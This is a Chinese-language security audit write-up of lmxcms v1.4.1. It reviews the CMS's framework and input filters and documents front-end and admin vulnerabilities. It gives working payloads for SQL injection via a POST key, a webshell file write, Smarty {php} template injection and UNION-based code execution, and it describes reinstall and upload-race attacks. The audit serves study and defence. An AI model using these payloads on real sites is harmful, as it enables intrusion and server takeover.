0x00 基本信息

简介

lmxcms基于php语言和mysql数据库开发,系统采用业界流行的MVC设计模式开发,使得系统结构更加清晰明了,便于进行二次开发和管理,并且lmxcms内嵌了smarty模板引擎,使程序与模板分离,如果您足够了解lmxcms完全可以自定义模板标签

文件hash

必选项

  • a04c617a2988f3628cf47139f367d1c0

文件存储

必选项

  • https://pan.baidu.com/s/1WvCG4yZHy7lnYFPmWVM_Lg

cms指纹

可选项,后期必选

源码相关

  • 官方网站:http://www.lmxcms.com/down/

cms名字

必选项,实际名字或者化名

  • 梦想cms v1.4.1

关联平台

类似第三方支付平台

0x01 基本流程

基于mvc的,先来看一下流程和一些基本信息

框架的加载

index页面,定义些常量,加载初始化的php文件run.inc.php

1
2
3
4
5
6
7
8
9
<?php 
define('LMXCMS',TRUE);
define('RUN_TYPE','index');
define('TEMDIR','default'); //电脑模板目录
define('COMPILE_DIR','index'); //电脑编译目录
define('COMPILE_CACHE_DIR','index'); //电脑编译缓存目录
require dirname(__FILE__).'/inc/config.inc.php';
require dirname(__FILE__).'/inc/run.inc.php';
?>

接下来,这里先判断入口类型,其实入口的类型分为

  • index
  • extend
  • install
  • admin

然后就注册一个自动加载的方法,来实现类的自动加载

image-20220513121043527

接下来就是访问模式了,分为

  • 纯静态(这个没看,但是后台存在这么个设置选项)
  • 伪静态
  • 动态

接下来,就实例化对象,调用run方法,运行程序

image-20220513121359634

这里存在的问题就是,其实可以直接new,没必要用到eval

这可能时这个开发的习惯,后面会出现一些问题

接下来看看run方法,所有的action操作类都继承自Action

1
2
3
4
5
6
7
8
9
public function run(){
$a=isset($_GET['a']) ? $_GET['a'] : 'index';
if(method_exists($this,$a)){
eval('$this->'.$a.'();');
}else{
//如果方法不存在则执行index方法
$this->index();
}
}

在这套cms种还好,但是信息一点就会发现,其实这套框架的方法调用流程中没有判断方法属性

所以不仅仅public可以访问,protected修饰的也可以

image-20220513123904888

在某些情况下,可能会存在问题,但是这里基本都是privated修饰的,倒是避免了这个问题

分析完流程就可以知道框架的加载方式

1
index.php?m=xxx&a=xxx

数据库的操作

数据库是用的MySQL,不存在堆叠了,但是也不会基本不会有参数化查询的问题

image-20220513130723753

以selectDB为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}

看一看where方法,就是简单的拼接,那么过滤应该就是在上层了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function where($param){
$We=$limit=$order=$like='';
//判断参数是否存在
if($param){
//条件
if($param['where']){
if(is_array($param['where'])){
foreach($param['where'] as $v){
$We[]=$v;
}
$We = ' WHERE '.implode(' AND ',$We);
}else{
$We = ' WHERE '.$param['where'];
}
}
//数量
if($param['limit']){
$limit=' LIMIT '.$param['limit'];
}
//排序
if($param['order']){
$order=' ORDER BY '.$param['order'];
}
//搜索
if($param['like']){
$like = $param['where'] ? ' AND '.$param['like'] : ' WHERE '.$param['like'];
}
}
return $We.' '.$like.' '.$order.' '.$limit;
}

而model只是一个简单的调用

image-20220513130923888

那么数据的处理应该就是在控制器,和每个模型中了

如search模型,就存在大量的拼接问题

image-20220513131233118

再经过控制器的调用就会存在注入,这是常规的拼接注入

image-20220513131409051

上面是关于正常查数据,在一套代码种还可能存在

  • SQL执行的功能
  • 数据库备份还原的操作

过滤方式

  • filter_strs方法
  • p方法
  • 类型强转

filter_strs

代码如下,很明显这里是为了防止xss的问题,但是单纯的这种方法并不能禁全,这只是针对尖括号

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter_strs($data){
if(!$data) return $data;
if(is_array($data)){
foreach($data as &$v){
$v = filter_strs($v);
}
}else{
$data = urldecode($data);
$data = strip_tags($data);
$data = str_replace('%','',$data);
}
return $data;
}

p函数

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}

这里面又调用了filter_sqlmysql_retain,并且对value进行了转义

这是关于注入的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
exit();
}
}
}
}

//mysql保留关键字,不允许使用
function mysql_retain($arr){
$retain = array('ADD','ALL','ALTER','ANALYZE','AND','AS','ASC','ASENSITIVE','BEFORE','BETWEEN','BIGINT','BINARY','BLOB','BOTH','BY','CALL','CASCADE','CASE','CHANGE','CHAR','CHARACTER','CHECK','COLLATE','COLUMN','CONDITION','CONNECTION','CONSTRAINT','CONTINUE','CONVERT','CREATE','CROSS','CURRENT_DATE','CURRENT_TIME','CURRENT_TIMESTAMP','CURRENT_USER','CURSOR','DATABASE','DATABASES','DAY_HOUR','DAY_MICROSECOND','DAY_MINUTE','DAY_SECOND','DEC','DECIMAL','DECLARE','DEFAULT','DELAYED','DELETE','DESC','DESCRIBE','DETERMINISTIC','DISTINCT','DISTINCTROW','DIV','DOUBLE','DROP','DUAL','EACH','ELSE','ELSEIF','ENCLOSED','ESCAPED','EXISTS','EXIT','EXPLAIN','FALSE','FETCH','FLOAT','FLOAT4','FLOAT8','FOR','FORCE','FOREIGN','FROM','FULLTEXT','GOTO','GRANT','GROUP','HAVING','HIGH_PRIORITY','HOUR_MICROSECOND','HOUR_MINUTE','HOUR_SECOND','IF','IGNORE','IN','INDEX','INFILE','INNER','INOUT','INSENSITIVE','INSERT','INT','INT1','INT2','INT3','INT4','INT8','INTEGER','INTERVAL','INTO','IS','ITERATE','JOIN','KEY','KEYS','KILL','LABEL','LEADING','LEAVE','LEFT','LIKE','LIMIT','LINEAR','LINES','LOAD','LOCALTIME','LOCALTIMESTAMP','LOCK','LONG','LONGBLOB','LONGTEXT','LOOP','LOW_PRIORITY','MATCH','MEDIUMBLOB','MEDIUMINT','MEDIUMTEXT','MIDDLEINT','MINUTE_MICROSECOND','MINUTE_SECOND','MOD','MODIFIES','NATURAL','NOT','NO_WRITE_TO_BINLOG','NULL','NUMERIC','ON','OPTIMIZE','OPTION','OPTIONALLY','OR','ORDER','OUT','OUTER','OUTFILE','PRECISION','PRIMARY','PROCEDURE','PURGE','RAID0','RANGE','READ','READS','REAL','REFERENCES','REGEXP','RELEASE','RENAME','REPEAT','REPLACE','REQUIRE','RESTRICT','RETURN','REVOKE','RIGHT','RLIKE','SCHEMA','SCHEMAS','SECOND_MICROSECOND','SELECT','SENSITIVE','SEPARATOR','SET','SHOW','SMALLINT','SPATIAL','SPECIFIC','SQL','SQLEXCEPTION','SQLSTATE','SQLWARNING','SQL_BIG_RESULT','SQL_CALC_FOUND_ROWS','SQL_SMALL_RESULT','SSL','STARTING','STRAIGHT_JOIN','TABLE','TERMINATED','THEN','TINYBLOB','TINYINT','TINYTEXT','TO','TRAILING','TRIGGER','TRUE','UNDO','UNION','UNIQUE','UNLOCK','UNSIGNED','UPDATE','USAGE','USE','USING','UTC_DATE','UTC_TIME','UTC_TIMESTAMP','VALUES','VARBINARY','VARCHAR','VARCHARACTER','VARYING','WHEN','WHERE','WHILE','WITH','WRITE','X509','XOR','YEAR_MONTH','ZEROFILL');
foreach($arr as $v){
if(is_array($v)){
mysql_retain($v);
}else{
$v = strtoupper($v);
if(in_array($v,$retain)){
rewrite::js_back('【'.$v.'】为mysql保留关键字,禁止使用');
}
}
}
}

这里调用的js_back方法

1
2
3
4
5
public static function js_back($str){
$str = $str ? $str : '发生错误';
echo "<script type='text/javascript'>alert('$str');history.go(-1);</script>";
exit();
}

类型强转

这个的话,主要就是针对整型参数

image-20220513132138881

问题

那么这里存在的问题也呼之欲出

这种过滤还是很。。。就算存在普通的拼接也只能是爆下数据库名字,什么table语法,在这里肯定不适用,网站得用php5.4左右的版本,虽说对mysql没具体限制,但也肯定是5.x

第一个问题

过滤只是过滤的value,对key并未进行处理

所以如果key存在调用的话,那就还是可以注入的

通常情况下,可以接受key的操作,一般是update或者insert

第二个问题

在转义之前调用的sql过滤的方法,当存在非法字符是存在一个弹窗

在script标签内,不需要再次使用标签,凡是调用过滤的地方均存在反射型xss

模板问题

使用的是Smarty

1
require ROOT_PATH.'plug/smarty/Smarty.class.php';

版本是2.6.28

其实3版本,可以发现是否存在如下的利用CVE-2021-29454

这里就算了,在这个版本,display方法第一个参数只能是文件

那么就存在两个问题

  • 文件名是否可控
  • 文件内容是否可控

文件操作

上传文件问题

代码如下

image-20220513135007138

底层检查文件后缀的方法是

1
2
3
4
5
6
7
8
9
10
11
12
//检测文件后缀
private function checkFix(){
if($this->config['fix']){
$fix = $this->getFix($this->file['name']);
if(!$fix){
return false;
}
return in_array($fix,$this->config['fix']);
}else{
return true;
}
}

而且可以看到,upload方法支持多文件上传

那么就可能存在,在上层调用的时候,未设置整体的过滤方式,只对特定的文件进行过滤,对其他文件不过滤的情况

还有就是上传压缩文件的解压问题

文件写入

  • 正常文件,比如安装页面写配置
  • 缓存文件
  • 远程文件下载

0x02 代码审计

后台的注入或者xss之类的漏洞就不说了,太多了,后台只找获取shell的方法

url跳转

index.php?m=Ad&c=index

1
2
3
4
5
6
7
8
public function index(){
$data = $this->adModel->one($this->id);
if(!$data) exit; //不存在的id 停止程序运行
$this->adModel->click($this->id); //增加点击次数
$url = isset($_GET['url']) ? $_GET['url'] : $data['http'];
//跳转地址
Header("Location:$url");
}

需要数据表有数据,不多说了

xss

反射型xss

之前提到的检测数据的地方都存在

同样的上面的,js_back方法所在的类是rewrite,这个类的很多方法都存在xss的问题

只要找到用户可控的地方即可

image-20220513143514589

js_back

比如index.php?m=Tags&c=index

image-20220513143645671

复现

image-20220513143827272

存储型xss

后台肯定是有存储型xss的,但是没有必要

数据库操作

前台注入

key问题

前台存在两处添加数据的地方,第一处没办法用,需要数据库有数据,默认境况下不存在

image-20220513145053535

当然,并不代表实际环境种不存在

第二处index.php?m=Book&c=index

image-20220513145302607

过滤不会对key产生影响,这里只跟一下,底层对key是怎么处理的就好了

image-20220513145402429

image-20220513145415034

就只拼接

image-20220513145536511

当然在构造语句上,由于是key,会存在一些问题,

  • 比如点和空格会变成下划线

这里可以用一些php的特性

复现

1
2
3
POST /index.php?m=Book&a=index HTTP/1.1

name=test&content=bbb&setbook=1&time)values('test','bbb','','','192.168.1.220','11')#=1

image-20220513150829246

拼接注入

index.php?m=Search&c=index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private function check(){
//获取get数据
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}

image-20220513151426103

跟进方法

image-20220513151634310

可以看到这里面多个参数都可以用,但是,还是绕不过去那个检查单个关键字的过滤

这里不多说了

后台注入

略…

sql执行

很简单就是直接查询了

image-20220513160707123

在后台的表现就是

image-20220513160759883

非root,可以结合后台做很多东西,root下,可以直接拿shell

数据库备份与恢复

这个点的后续操作有不少,这里先提一下备份恢复

image-20220513161034584

由于文件名可控,所以可以上传精心构造的zip文件

从数据库层面来说,最终达到的效果其实是和sql执行一样的

文件操作

目录创建

由于上传的方法,都设置了fix

所以没办法直接上传php文件

但是存在这么一处path可控

admin.php?m=Edit&c=editUpload

image-20220513162248242

可以看到会根据额这个path创建一个权限777的目录

image-20220513162348353

条件竞争文件上传

这就是上传zip,然后解压,然后删除,中间存在竞争

除了图片之外还可以上传zip和rar文件

image-20220513162523324

admin.php?m=Edit&c=editUpload

通过这个方法上传一个zip

然后通过admin.php?m=Backdb&c=backdbin解压

image-20220513162650481

这里在下面会删除,但是目测当sql执行错误的时候,会直接退出

所以如果不想竞争的话可以构造一个payload,让其进入执行sql的地方即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//执行数组中的sql语句
private function queryIn(array $sql){
$query = '';
foreach($sql as $v){
if(!$v || $v[0] == '#'){
continue;
}else if(preg_match('/\[--end--\]$/',trim($v))){
$v = preg_replace('/\[--end--\]$/','',trim($v));
$query .= $v;
if(preg_match('/^DROP TABLE IF EXISTS (.*)\;/',trim($v),$name)){
rewrite::speed('正在恢复【'.$name[1].'】数据表');
}
$this->backdbModel->backSql($query);
$query = '';
}else{
$query .= $v;
}
}
}

简单,不复现了

修改后缀文件上传

在后台可以修改后缀,所以可以直接修改后缀未php或者html

修改为php就不多说了,直接传php就完事了

修改为html,是因为在前台存在一处包含,在适当的条件下可以绕过waf

比较简单这里也不复现了

文件删除&重装

前提是没删除install文件

文件删除

应该存在多处

  • /admin.php?m=File&a=delete
  • /admin.php?m=Backdb&a=delmorebackdb

image-20220513163827188

对应的锁文件时ROOT_PATH/install/install_ok.txt

image-20220513164126494

重装

image-20220513164925334

这里面可以通过mysql的任意文件读取,先把源配置文件存下来

然后进行重装

image-20220513165202103

直接就会

image-20220513165211870

image-20220513165257596

文件读取

都是基于file类的

1
2
3
4
5
6
7
8
9
10
11
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}

然后存在一处调用

image-20220513165845386

这里是修改模板的,默认情况下还可以写文件

先看文件读取

image-20220513170020848

文件写入

就是上面那个方法,可以操作任意文件的

在默认配置写可以直接写文件,获取shell

1
2
3
POST /admin.php?m=Template&a=editfile&dir=../ HTTP/1.1

settemcontent=1&temcontent=<?php phpinfo();?>&filename=a.php

image-20220513170636735

文件缓存

这里除了上面的写文件之外

还存在两处写php文件的,看看是否存在可利用的点

第一处f函数,这个经过了处理,也不存在编码转换的问题,无法进一步利用

image-20220513171322779

第二处,存在一些可操作性

image-20220513171525095

搜索调用

image-20220513171703775

进数据库看下数据表,这里不涉及sql执行和数据库备份

只从正常的逻辑触发

image-20220513171803188

这其实就不用分析了,逻辑出来了,看一下text_html

image-20220513172722906

基本上可控的点就是fname和默认值,但是fname存在长度限制,当然也可以利用麻烦一点

这里直接选默认值,可以直接插入php代码也可以,插入解析模板类型的数据

我们直接去新建一个

image-20220513173034965

但是这里生成的文件被实体编码了

image-20220513173420349

数据库中的数据是没问题的

这是没有看全,是写文件的时候出的问题

image-20220513173606576

下面有一个editor,解了一次码,可以一试

image-20220513173652981

这里由于两个编码和解码的异同要用双引号,直接修改contents字段

image-20220513181208455

最后生成的竟然成了这个样子,还是没看过这个smarty

image-20220513181359674

还是得用模板注入了

  • literal标签
  • php标签

其他的标签先不说了,这里由于版本低,可以直接用php标签

1
<{/if}><{php}>file_get_contents("http://127.0.0.1:7777/aaaa");<{/php}><{if $update}><{$content|html_entity_decode}><{else}>

image-20220513182803301

调用的地方是content控制器中

image-20220513182837050

1
http://192.168.1.220:8226/admin.php?classid=5&m=Content&a=add

image-20220513182917322

远程文件下载

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//下载图片到本地  传入原图片网址,保存地址,不包包含图片后缀
public function downImg($imgUrl,$path){
$imgUrl = preg_replace_callback('/[\x{4e00}-\x{9fa5}A-Za-z0-9_]/u',"preg_callback_chinaese",$imgUrl);
curl_setopt($this->ch,CURLOPT_URL,$imgUrl);
curl_setopt($this->ch,CURLOPT_TIMEOUT,0);
curl_setopt($this->ch,CURLOPT_HEADER,1);
//伪造百度蜘蛛IP
curl_setopt($this->ch,CURLOPT_HTTPHEADER,array('X-FORWARDED-FOR:'.$this->ip.'','CLIENT-IP:'.$this->ip.''));
//伪造百度蜘蛛头部
curl_setopt($this->ch,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Baiduspider-image/2.0; +http://www.baidu.com/search/spider.html)");
curl_setopt($this->ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($this->ch,CURLOPT_NOBODY,1);
curl_setopt($this->ch,CURLOPT_CONNECTTIMEOUT,$this->timeout);
$zt = curl_exec($this->ch);
if(strpos($zt,'200') === false) return false;
curl_setopt($this->ch,CURLOPT_NOBODY,0);
curl_setopt($this->ch,CURLOPT_HEADER,0);
$img = curl_exec($this->ch);
$imgInfo = pathinfo($imgUrl);
file_put_contents($path.'.'.$imgInfo['extension'],$img);
return str_replace(ROOT_PATH,'',$path.'.'.$imgInfo['extension']);
}

具体调用就是

image-20220513183542834

这里参数都存在注入,而且后台没有调用过滤方法,但是由于先查询count在查询数据,导致字段不一致,没办法使用注入进行联合查询伪造数据,也只能按部就班操作

忽略sql执行和数据备份

image-20220513184427014

这个肯定能成,但是有点麻烦,不复现了

代码执行

存在多处,但也都是采集这个位置的

我们通过注入来完成

admin.php?m=Acquisi&a=showCjData

image-20220513185719003

1
http://192.168.1.220:8226/admin.php?m=Acquisi&a=showCjData&lid=1&id=1&cid=1000 union select 1,2,'file_get_contents(\'http://127.0.0.1:7777/aaaabbb\')',4,5,6,7#

image-20220513190056289

0x03 end

由于漏洞类型比较多,比较适合入门审计

但是也是因为漏洞较多,可能存在没发现的情况,仅此学习